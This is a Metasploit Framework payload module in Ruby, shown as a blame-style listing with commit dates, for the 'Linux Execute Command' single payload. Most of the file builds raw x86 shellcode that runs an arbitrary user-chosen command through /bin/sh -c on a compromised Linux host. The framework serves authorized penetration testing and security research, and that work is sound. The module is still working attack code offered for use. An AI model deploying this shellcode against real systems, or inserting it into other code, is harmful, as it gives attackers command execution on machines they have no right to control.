2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-02-18 22:38:54 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/projects/Framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
|
2005-07-17 06:01:11 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
|
|
###
|
|
|
|
#
|
|
|
|
# Exec
|
|
|
|
# ----
|
|
|
|
#
|
|
|
|
# Executes an arbitrary command.
|
|
|
|
#
|
|
|
|
###
|
2008-10-02 05:23:59 +00:00
|
|
|
module Metasploit3
|
2005-07-17 06:01:11 +00:00
|
|
|
|
|
|
|
include Msf::Payload::Single
|
2007-06-09 02:25:31 +00:00
|
|
|
include Msf::Payload::Linux
|
|
|
|
|
2005-07-17 06:01:11 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(merge_info(info,
|
|
|
|
'Name' => 'Linux Execute Command',
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'Description' => 'Execute an arbitrary command',
|
|
|
|
'Author' => 'vlad902',
|
2006-01-21 22:10:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2005-07-17 06:01:11 +00:00
|
|
|
'Platform' => 'linux',
|
|
|
|
'Arch' => ARCH_X86))
|
|
|
|
|
|
|
|
# Register adduser options
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('CMD', [ true, "The command string to execute" ]),
|
2008-10-02 05:23:59 +00:00
|
|
|
], self.class)
|
2005-07-17 06:01:11 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Dynamically builds the adduser payload based on the user's options.
|
|
|
|
#
|
2007-06-16 05:04:03 +00:00
|
|
|
def generate_stage
|
2005-07-17 06:01:11 +00:00
|
|
|
cmd = datastore['CMD'] || ''
|
|
|
|
payload =
|
|
|
|
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68" +
|
|
|
|
"\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52" +
|
2007-02-18 22:38:54 +00:00
|
|
|
Rex::Arch::X86.call(cmd.length + 1) + cmd + "\x00" +
|
2005-07-17 06:01:11 +00:00
|
|
|
"\x57\x53\x89\xe1\xcd\x80"
|
|
|
|
end
|
|
|
|
|
2008-10-19 21:03:39 +00:00
|
|
|
end
|